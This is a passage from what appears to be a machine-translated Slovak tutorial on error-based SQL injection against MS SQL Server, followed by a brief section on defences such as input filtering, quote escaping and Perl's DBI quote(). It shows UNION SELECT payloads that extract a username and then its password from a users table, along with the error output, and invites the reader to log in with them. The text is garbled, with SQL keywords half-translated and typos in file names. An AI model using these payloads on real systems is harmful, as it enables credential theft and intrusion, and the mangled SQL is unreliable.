MS SQL Server má niekoľko ďalších zaujímavých funkcií, ktoré vám umožňujú zistiť prihlasovacie mená a heslá uložené v databáze. Na tento účel je chybový výstup presmerovaný na ľubovoľný server a cez ne
analýzy, môžete zistiť názov tabuľky, polia a ich typy. Potom môžete požiadať

" UNION SELECT TOP 1 prihlásenie OD používateľov --

(login je názov poľa obsahujúceho prihlásenie a používatelia je názov tabuľky,
polovedci v procese analýzy chýb).

Odpoveď môže byť:


Chyba syntaxe pri prevode hodnoty nvarchar "admin" to a column of data type int. !}
/default.asp, riadok 27

Teraz vieme, že existuje používateľ s názvom „admin“. Teraz môžeme získať jeho heslo:

" UNION SELECT TOP 1 heslo FROM užívateľov kde login="admin"--

výsledok:

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "xxx" to a column of data type int. !}
/tedault.asp, riadok 27

Teraz vieme, že existuje používateľ „admin“ s heslom „xxx“. To môže bezpečne
použite a prihláste sa do systému 😉

Existuje však mnoho ďalších funkcií pre prácu s SQL,
pri práci s databázou môžete údaje aj mazať, upravovať, vkladať vlastné a dokonca aj manipulovať so súbormi a pracovať s registrom.
Všeobecne platí, že SQL Server pravidlá 🙂

Ochrana

Ale tomu všetkému sa dá samozrejme vyhnúť. Za to môžete
použite filtre
poskytované výrobcami. Môžete nájsť svoje vlastné riešenia, napríklad nahradiť všetky single
dvojité úvodzovky (ak pre SQLžiadosť, používame single), alebo naopak. Môžete povoliť iba používanie písmen a s@baki v prípade, že potrebujete zadať
emailová adresa. A v perle je úžasné
funkcia 🙂 quote() v module DBI::DBD, ktorá úspešne zabezpečí váš dopyt SQL. Riešení je veľa, len ich potrebujete
využiť. Inak, prečo potom toto všetko...



Načítava...
Hore